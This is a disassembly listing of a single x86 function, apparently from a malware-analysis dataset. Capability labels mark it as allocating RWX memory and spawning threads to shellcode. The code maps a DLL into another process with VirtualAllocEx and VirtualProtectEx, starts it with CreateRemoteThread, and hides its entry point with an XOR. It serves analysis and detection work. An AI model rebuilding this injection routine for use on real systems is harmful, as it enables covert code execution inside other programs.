Function at 0x403fab
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, dword [ebp + 8]
xor ecx, ecx
cmp ebx, eax
sete cl
mov dword [ebp - 4], esi
mov dword [ebp - 8], ecx
cmp ebx, esi
je 0x404220
mov edi, dword [ebp + 0xc]
cmp edi, esi
je 0x404220
cmp dword [ebp + 0x10], esi
je 0x404220
cmp ecx, esi
jne 0x404022
call fcn.00402288
test eax, eax
je 0x40402a
call fcn.00402288
test eax, eax
jne 0x40402a
push str.break__n
push 0x101
push str.SysInjectDllToProcessById32
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x10
jmp 0x404250
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x404035
push ebx
push 0x10043a
call fcn.0040233f
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x404084
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x57
je 0x40423c
call esi
push eax
push 0x405650
mov esi, 0x106
push esi
mov ebx, str.SysInjectDllToProcessById32
push ebx
mov edi, str.srcdll_inject.cpp
push edi
call fcn.00404366
push dword [ebp + 8]
push str.break___08x_n
push esi
push ebx
push edi
call fcn.00404366
add esp, 0x28
jmp 0x40423c
cmp dword [ebp - 8], esi
jne 0x4040a7
push 0x2710
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
push dword [ebp - 4]
call fcn.00403f7f
test eax, eax
jne 0x404242
push ebx
call fcn.00403e03
test eax, eax
jne 0x4040bf
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x4040a7
push ebx
call fcn.00403e03
test eax, eax
je 0x40423c
mov esi, dword [edi + 0x3c]
add esi, edi
mov eax, dword [esi + 0x50]
test eax, eax
jne 0x4040e8
push str.break__n
push 0x122
jmp 0x40422a
add eax, dword [ebp + 0x10]
push 4
push 0x3000
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x40412c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x405650
push 0x12d
push str.SysInjectDllToProcessById32
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x14
jmp 0x40423c
mov eax, dword [esi + 0x54]
push edi
push ebx
push dword [ebp - 4]
call fcn.00403da9
movzx eax, word [esi + 0x14]
and dword [ebp + 8], 0
xor ecx, ecx
lea eax, [eax + esi + 0x18]
cmp cx, word [esi + 6]
jae 0x404179
lea edi, [eax + 0x14]
mov eax, dword [edi]
add eax, dword [ebp + 0xc]
push eax
mov eax, dword [edi - 8]
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [edi - 4]
call fcn.00403da9
movzx eax, word [esi + 6]
add edi, 0x28
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x404150
mov edi, dword [ebp + 0xc]
mov eax, dword [esi + 0x50]
push edi
add eax, ebx
push eax
push dword [ebp - 4]
mov eax, dword [ebp + 0x10]
call fcn.00403da9
mov edi, dword [esi + 0x28]
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [esi + 0x50]
xor edi, 0x31337
push ebx
add edi, ebx
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor esi, esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp dword [ebp - 8], esi
je 0x4041e9
push edi
call fcn.004023fa
test eax, eax
jne 0x4041e0
push str.break__n
push 0x14c
push str.SysInjectDllToProcessById32
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x10
mov dword [ebp - 0xc], 1
jmp 0x40423c
push esi
push esi
push esi
push edi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
je 0x404209
push eax
call fcn.00402574
mov dword [ebp - 0xc], 1
jmp 0x404242
push edi
push ebx
call fcn.00403ccc
cmp eax, esi
jne 0x4041fa
push str.break__n
push 0x15c
jmp 0x40422a
push str.break__n
push 0xf3
push str.SysInjectDllToProcessById32
push str.srcdll_inject.cpp
call fcn.00404366
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x404250
cmp dword [ebp - 4], 0
je 0x404250
push dword [ebp - 4]
call fcn.00402574
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc